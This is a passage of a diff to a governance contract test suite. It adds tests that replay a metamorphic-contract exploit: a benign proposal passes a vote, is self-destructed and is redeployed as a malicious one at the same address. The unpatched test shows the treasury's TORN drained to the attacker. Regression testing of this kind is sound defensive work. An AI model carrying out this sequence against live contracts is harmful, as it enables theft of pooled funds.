await torn.balanceOf(gov.address) - const propBal = await torn.balanceOf(proposer.address) + const oldVaultAddr = await governance.userVault() + const oldGasCompAddr = await governance.gasCompensationVault() + const oldStaking = await governance.Staking() // Start proposing - const proposal = await propfac.deploy((await propfacfac.deploy()).address) + const proposal = await proposalDeployer.deploy((await proposalContractsDeployer.deploy()).address) - await torn.approve(gov.address, propBal) - await gov.connect(proposer).lockWithApproval(propBal) + // Propose - await gov.propose(proposal.address, 'PATCH') + await governance.propose(proposal.address, 'PATCH') - const proposalId = await gov.latestProposalIds(proposer.address) + // Get the proposal id - let proposalData = await gov.proposals(proposalId) + const proposalId = await governance.latestProposalIds(proposer.address) + + // Get proposal data + + let proposalData = await governance.proposals(proposalId) + + // Mine up until we can start voting await minewait(periods.VOTING_DELAY.add(1).toNumber()) - await gov.castVote(proposalId, true) + await governance.castVote(proposalId, true) await ethers.provider.send('evm_setNextBlockTimestamp', [ proposalData.endTime.add(periods.EXECUTION_DELAY).add(BigNumber.from(1000)).toNumber(), @@ -172,11 +194,11 @@ describe('V3 governance tests', () => { await ethers.provider.send('evm_mine', []) - await gov.execute(proposalId) + await governance.execute(proposalId) - const newVaultAddr = await gov.userVault() - const newGasCompAddr = await gov.gasCompensationVault() - const newStaking = await gov.Staking() + const newVaultAddr = await governance.userVault() + const newGasCompAddr = await governance.gasCompensationVault() + const newStaking = await governance.Staking() expect(oldGasCompAddr).to.equal(newGasCompAddr) expect(newVaultAddr).to.equal(oldVaultAddr) @@ -184,5 +206,171 @@ describe('V3 governance tests', () => { .to.not.equal(oldStaking) .and.to.not.equal('0x0000000000000000000000000000000000000000') }) + + it('Should not be susceptible to the contract metamorphosis exploit', async () => { + // First deploy @ metamorphic the valid contract + let response = await metamorphicFactory.deployMetamorphicContractFromExistingImplementation( + exploit.salt, + initialProposalImpl.address, + [], + ) + + const initialProposalAddress = (await response.wait()).events[0].args[0] + + // Must equal + expect(initialProposalAddress).to.equal(exploit.address) + + // Load the contract + const initialProposal = await ethers.getContractAt('InitialProposal', initialProposalAddress) + + // Propose the valid one + await governance.propose(initialProposal.address, 'VALID') + + // Get the proposal id + const proposalId = await governance.latestProposalIds(proposer.address) + + // Get proposal data + let proposalData = await governance.proposals(proposalId) + + // Mine up until we can start voting + await minewait(periods.VOTING_DELAY.add(1).toNumber()) + + // Vote for this + await governance.castVote(proposalId, true) + + // Prepare time so we can execute + + await ethers.provider.send('evm_setNextBlockTimestamp', [ + proposalData.endTime.add(periods.EXECUTION_DELAY).add(BigNumber.from(1000)).toNumber(), + ]) + + await ethers.provider.send('evm_mine', []) + + // Since the proposal has now passed, terminate the original contract + await initialProposal.emergencyStop() + + // Run metamorphic deployment again + response = await metamorphicFactory.deployMetamorphicContractFromExistingImplementation( + exploit.salt, + maliciousProposalImpl.address, + [], + ) + + const maliciousProposalAddress = (await response.wait()).events[0].args[0] + + // Confirm again + expect(maliciousProposalAddress).to.equal(exploit.address) + + // Load the contract + const maliciousProposal = await ethers.getContractAt('MaliciousProposal', maliciousProposalAddress) + + // Check that the malicious proposer is the deployer + const deployer = await maliciousProposal.deployer() + + // Get bal before + const deployerBalanceBefore = await torn.balanceOf(deployer) + const governanceBalanceBefore = await torn.balanceOf(governance.address) + + expect(governanceBalanceBefore).to.be.gt(zero) + + // Now execute + await governance.execute(proposalId) + + // Check bal after + const deployerBalanceAfter = await torn.balanceOf(deployer) + const governanceBalanceAfter = await torn.balanceOf(governance.address) + + // Protected + expect(deployerBalanceAfter).to.equal(deployerBalanceBefore) + expect(governanceBalanceAfter).to.equal(governanceBalanceBefore) + + // Terminate the contract for the next test + await maliciousProposal.emergencyStop() + }) + }) + + describe('Integrative: Unpatched Governance', () => { + after(async () => { + await revertSnapshot(snapshotId) + snapshotId = await takeSnapshot() + }) + + it('The standard contract should be susceptible to the metamorphosis exploit', async () => { + // First deploy @ metamorphic the valid contract + let response = await metamorphicFactory.deployMetamorphicContractFromExistingImplementation( + exploit.salt, + initialProposalImpl.address, + [], + ) + + const initialProposalAddress = (await response.wait()).events[0].args[0] + + // Must equal + expect(initialProposalAddress).to.equal(exploit.address) + + // Load the contract + const initialProposal = await ethers.getContractAt('InitialProposal', initialProposalAddress) + + // Propose the valid one + await governance.propose(initialProposal.address, 'VALID') + + // Get the proposal id + const proposalId = await governance.latestProposalIds(proposer.address) + + // Get proposal data + let proposalData = await governance.proposals(proposalId) + + // Mine up until we can start voting + await minewait(periods.VOTING_DELAY.add(1).toNumber()) + + // Vote for this + await governance.castVote(proposalId, true) + + // Prepare time so we can execute + + await ethers.provider.send('evm_setNextBlockTimestamp', [ + proposalData.endTime.add(periods.EXECUTION_DELAY).add(BigNumber.from(1000)).toNumber(), + ]) + + await ethers.provider.send('evm_mine', []) + + // Since the proposal has now passed, terminate the original contract + await initialProposal.emergencyStop() + + // Run metamorphic deployment again + response = await metamorphicFactory.deployMetamorphicContractFromExistingImplementation( + exploit.salt, + maliciousProposalImpl.address, + [], + ) + + const maliciousProposalAddress = (await response.wait()).events[0].args[0] + + // Confirm again + expect(maliciousProposalAddress).to.equal(exploit.address) + + // Load the contract + const maliciousProposal = await ethers.getContractAt('MaliciousProposal', maliciousProposalAddress) + + // Check that the malicious proposer is the deployer + const deployer = await maliciousProposal.deployer() + + // Get bal before + const deployerBalanceBefore = await torn.balanceOf(deployer) + const governanceBalanceBefore = await torn.balanceOf(governance.address) + + expect(governanceBalanceBefore).to.be.gt(zero) + + // Now execute + await governance.execute(proposalId) + + // Check bal after + const deployerBalanceAfter = await torn.balanceOf(deployer) + const governanceBalanceAfter = await torn.balanceOf(governance.address) + + // Protected + expect(deployerBalanceAfter).to.be.equal(deployerBalanceBefore.add(governanceBalanceBefore)) + expect(governanceBalanceAfter).to.equal(zero) + }) }) })